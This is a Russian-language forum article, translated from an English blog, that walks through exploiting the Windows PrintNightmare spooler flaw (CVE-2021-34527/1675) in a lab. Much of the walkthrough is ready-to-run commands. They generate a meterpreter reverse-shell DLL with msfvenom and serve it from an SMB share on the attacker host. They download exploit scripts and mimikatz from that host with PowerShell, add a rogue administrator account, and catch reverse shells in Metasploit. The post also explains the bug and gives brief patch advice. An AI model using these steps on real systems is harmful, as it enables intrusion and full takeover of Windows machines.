• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Повышение привилегий Windows: PrintNightmare

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Диспетчер очереди печати находится в центре внимания исследователей с тех пор, как червь Stuxnet использовал уязвимость повышения привилегий диспетчера очереди печати для распространения по сети в ядерных центрифугах по обогащению в Иране и заразил более 45000 сетей. PrintNightmare — это общее название уязвимости удаленного выполнения кода в службе диспетчера очереди печати (spoolsv.exe) в операционных системах Microsoft Windows. Уязвимости присвоен код CVE-2021-34527. Первоначально она считалась локальным повышением привилегий (LPE) и обозначалось CVE-2021-1675. Немедленные исправления для LPE были выпущены в июне 2021 года и имели низкий уровень серьезности. Примерно через 2 недели Microsoft изменила низкий уровень серьезности LPE на серьезный, поскольку было обнаружено, что патчи были обойдены, а удаленное выполнение кода получило присвоенный CVE-2021-34527. Возник спор из-за недопонимания между авторами и Microsoft, когда эксплойт RCE был выпущен на GitHub до патчей, что сделало его уязвимостью 0-day. Однако его тут же откатили. В этой статье мы сосредоточимся на повышении привилегий с помощью этой уязвимости диспетчера очереди печати. Популярность, которую он получил в 2021 году, сделала его уязвимостью года.

Основы диспетчера очереди печати

Диспетчер очереди печати — это основной интерфейс процесса печати. Это встроенный EXE-файл, который загружается при запуске самой системы. Рабочий процесс печати выглядит следующим образом:

1645871555300.png


Application: приложение печати создает задание на печать, вызывая интерфейс графических устройств (GDI).

GDI: GDI включает компоненты режима пользователя и режима ядра для поддержки графики.

winspool.drv — это интерфейс, который взаимодействует со спулером. Он предоставляет заглушки RPC, необходимые для доступа к серверу.

spoolsv.exe — это API-сервер спулера. Этот модуль реализует маршрутизацию сообщений к провайдеру печати с помощью маршрутизатора (spoolss.dll).

spoolss.dll определяет, к какому поставщику печати обращаться, на основе имени принтера и передает вызов функции правильному поставщику.

Сводка по уязвимостям

В протоколе MS-RPRN (системный удаленный протокол печати) есть метод RpcAddPrinterDriverEx(), который разрешает удаленную установку драйвера пользователями с правом SeLoadDriverPrivilege. Это право есть только у пользователей в группе администраторов. Итак, эксплойт пытается обойти эту аутентификацию в RpcAddPrinterDriver. Техника предоставлена afwu (https://github.com/afwu).

Cube0x0 написал в Твиттере, что ему удалось добиться тех же результатов, используя метод RpcAsyncAddPrinterDriver() протокола MS-PAR, который похож на RpcAddPrinterDriver и загружает драйверы удаленно. Технику можно найти здесь (https://github.com/cube0x0/CVE-2021-1675). Мы будем использовать обе эти техники в этой демонстрационной статье.

Поток уязвимостей

Чтобы понять поток уязвимостей, давайте сначала разберемся с работой RpcAddPrinterDriver. Шаги следующие:

- Добавить драйвера принтера к вызову сервера (RpcAddPrinterDriver)
- Клиент (Злоумышленник) создает общий ресурс с доступными файлами драйвера принтера
- Клиент (злоумышленник) создает контейнер драйвера MS-RPRN (системный удаленный протокол печати), в котором содержится DRIVER_INFO_2.
(в основном это переменные, которые содержат путь к DLL, тип архитектуры и т. д.)
- Клиент (Атакующий) вызывает: RpcAddPrinterDriver("<имя сервера печати>", DriverContainer);

Проверка безопасности
: когда клиент вызывает эту функцию, система проверяет, есть ли у клиента "SeLoadDriverPrivilege", который по умолчанию предоставляется группе администраторов.

Обход проверки безопасности: AFWU упомянул в своей первоначальной статье, что пользователь может указать следующие параметры в службе очереди печати:

pDataFile =A.dll

pConfigFile =B.dll

pDriverPath=C.dll


Служба спулера скопирует DLL-файлы A, B, C в C:\Windows\System32\spool\drivers\x64\3\new, а затем загрузит их в C:\Windows\System32\spool\drivers\x64\3. Далее он уточняет, что для pDataFile и pDriverPath в Windows есть проверка, что эти библиотеки DLL не могут быть путем UNC. Но pConfigFile может быть UNC-путем, поэтому злоумышленник может сделать следующее:

pDataFile =A.dll

pConfigFile =\\attacker_share\evil.dll

pDriverPath=C.dll


Что теоретически заставит Windows загружать evil.dll из общей папки злоумышленника.

Таким образом, обход аутентификации происходит следующим образом:

- RpcAddPrinterDriver вызывается с предложенными параметрами и путем UNC, ведущим к вредоносной DLL.
- Вредоносная DLL копируется в C:\Windows\System32\spool\drivers\x64\3\evil.dll
- Но это вызывает конфликт доступа, поэтому мы вызываем функцию резервного копирования драйверов и копируем старые драйверы (включая нашу вредоносную DLL) в каталог C:\Windows\System32\spool\drivers\x64\3\old\1\
- Замените путь pConfigFile к DLL на этот путь C:\Windows\System32\spool\drivers\x64\3\old\1\evil.dll
- Ограничение доступа теперь обойдено, и DLL успешно загружена в spoolsv.exe.


Все это было подробно описано в его статье на Github, которая была удалена. Однако, если вы запустите свои движки и отправитесь обратно в прогшлое, возможно, вы сможете найти её здесь (https://web.archive.org/web/20210630054520/https://github.com/afwu/PrintNightmare)

И вышеизложенный процесс является фундаментальным механизмом работы эксплойтов, которые мы увидим в этой статье.

IP-адреса машин

На протяжении всей демки были взяты следующие IP-адреса:

IP-адрес злоумышленника: 192.168.1.2

IP жертвы: 192.168.1.190

Использованы скомпрометированные учетные данные: ignite/123


Способ 1 — PrintNightmare RCE с использованием Python


Это метод, относящийся к CVE-2021-34527 (удаленное выполнение кода от имени администратора). Вы можете найти официальный PoC Cube0x0 здесь. Здесь мы будем использовать разветвленную версию.

Во-первых, нам нужно создать вредоносный DLL-файл, который будет работать от имени ADMINISTRATOR.

Мы используем для этого msfvenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll

1645871801432.png


Теперь мы можем проверить, является ли цель уязвимой или не использует вспомогательный модуль metasploit. Здесь я ввел случайный путь для аргумента DLL_PATH, так как я не запускаю эксплойт, мне просто нужно сканировать. В нашем тестировании мы обнаружили, что printnightmare Metasploit ненадежен, и поэтому мы не показываем эту технику здесь. Вы можете протестировать его самостоятельно и посмотреть, работает ли он для вас. Этот запуск подтвердил, что жертва уязвима для printnightmare.

use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
set RHOSTS 192.168.1.190
set SMBUser ignite
set SMBPass 123
set DLL_PATH /
exploit

1645871833224.png


Теперь мы заранее запускаем обработчик перед выполнением нашего DLL-файла с использованием эксплойта.

use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.2
set LPORT 4444
exploit


1645871852679.png


Теперь нам нужно клонировать репозиторий github. Мы используем отвлетвенную версию оригинального эксплойта Cube0x0.

git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527.py

1645871871683.png


Хорошо, остался последний шаг — разместить вредоносную DLL на нашем сервере SAMBA. Вы можете настроить сервер samba вручную в Kali, использовать хост Windows для его размещения или более простой подход — использовать smbserver от impacket.

Добавьте желаемое имя общего ресурса (в моем случае используется share), а затем укажите путь (в моем случае /root), где вы сохранили вредоносную DLL.

python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /root

1645871900234.png


Когда все подготовлено и готово, мы можем запустить эксплойт RCE. Исполнение простое

./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’

Здесь мы только что запустили общий ресурс на impacket, мы будем использовать его как путь UNC.

./exploit.py credentials@IP ‘UNC_PATH of DLL hosted’

1645871933841.png


Как видите, жертва успешно выполнила наш файл DLL и вернула нам сеанс уровня администратора на жертве!

1645871948481.png



Способ 2 — PrintNightmare LPE с использованием Powershell

Мы видели удаленный эксплойт, относящийся к CVE 2021-34527. Теперь мы увидим старый эксплойт повышения локальных привилегий. AFWU реализовал исходный эксплойт на C++, а Калеб Стюарт и Джон Хаммонд создали рабочий PoC в powershell. В отличие от традиционного эксплойта, эта версия не требует от злоумышленника создания SMB-сервера для использования. Вместо внедрения удаленного пути UNC авторы создают автономную DLL во временном каталоге и выполняют внедрение локального пути UNC.

git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al


1645872001010.png


Теперь, когда жертва скомпрометирована, мы можем загрузить этот ps1-файл в каталог \Users\Public с помощью IWR и настроить http-сервер python в каталоге CVE-2021-1675.

cd CVE-2021-1675
python3 -m http.server 80
powershell wget http://192.168.1.2/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
cd C:\Users\Public
dir


1645872024448.png


Теперь мы можем запустить этот файл ps1 с помощью powershell. Этот скрипт powershell поможет нам добавить нового пользователя в группу администраторов, используя указанные учетные данные. Для этого нам нужно создать интерактивный powershell и вызвать модуль следующим образом:

powershell -ep bypass
Import-Module .\cve.ps1
Invoke-Nightmare -NewUser "harsh" -NewPassword "123" -DriverName "PrintMe"


1645872056463.png


Как видите, скрипт создал собственную DLL, которая добавляет нового пользователя harsh с паролем 123 в группу администраторов, и скрипт использует очередь печати.

net localgroup administrator

1645872078426.png


Мы можем убедиться в этом, войдя в систему жертвы с помощью psexec.

python3 psexec.py harsh:123@192.168.1.190

1645872107591.png


Мы можем войти в систему с учетными данными и можем подтвердить с помощью команды net user, что harsh теперь является членом администраторов.

Метод 3 — Printnightmare LPE с использованием Mimikatz

Когда PoC появился в Интернете, новый плагин mimikatz был добавлен в качестве ритуала в раздел misc (misc::printnightmare). Чтобы использовать mimikatz, мы будем использовать наш существующий файл DLL evil.dll, а также нам нужен наш SMB-сервер, работающий в существующей конфигурации. Теперь мы загрузим mimikatz.exe на наш kali и запустим HTTP-сервер Python.

python3 -m http.server 80
powershell wget http://192.168.1.2/mimikatz.exe -O \users\Public\mimikatz.exe
misc::printnightmare /library:\\192.168.1.2\share\evil.dll /authuser:ignite /authpassword:123 /try:50

1645872144490.png


Мимикатз подтвердил, что выполнение прошло успешно. Выдается исключение (вероятно, из-за каких-то символов в DLL), но DLL все равно сработала, и на multi/handler получен обратный шелл.

1645872195455.png


Перед запуском этой команды обязательно настройте обработчик в Metasploit. Если все пойдет правильно, вы увидите обратную оболочку! Таким образом, мы провели повышение привилегий, используя уязвимость PrintNightmare.

Статус патча

Microsoft выпустила внеплановые исправления для устранения этой уязвимости, которые можно найти в бюллетене MSRC, упомянутом во введении. Кроме того, системные администраторы должны рассмотреть возможность отключения функций указания и печати и отключения печати для пользователей, где это не требуется.

Заключение

Из-за характера этой уязвимости и простоты эксплуатации PrintNightmare является серьезной уязвимостью, которая де-факто получила награду "Уязвимость года" в 2021 году. С тех пор появилось много новых эксплойтов, нацеленных на spoolsv.exe, и, несмотря на все усилия Microsoft, исправления обходят, поэтому настоятельно рекомендуется, чтобы аналитики были в курсе предстоящих угроз для диспетчера очереди печати и обновляли свои определения мониторинга.
Надеюсь, вам понравилась статья. Спасибо за прочтение.


Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/windows-privilege-escalation-printnightmare/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх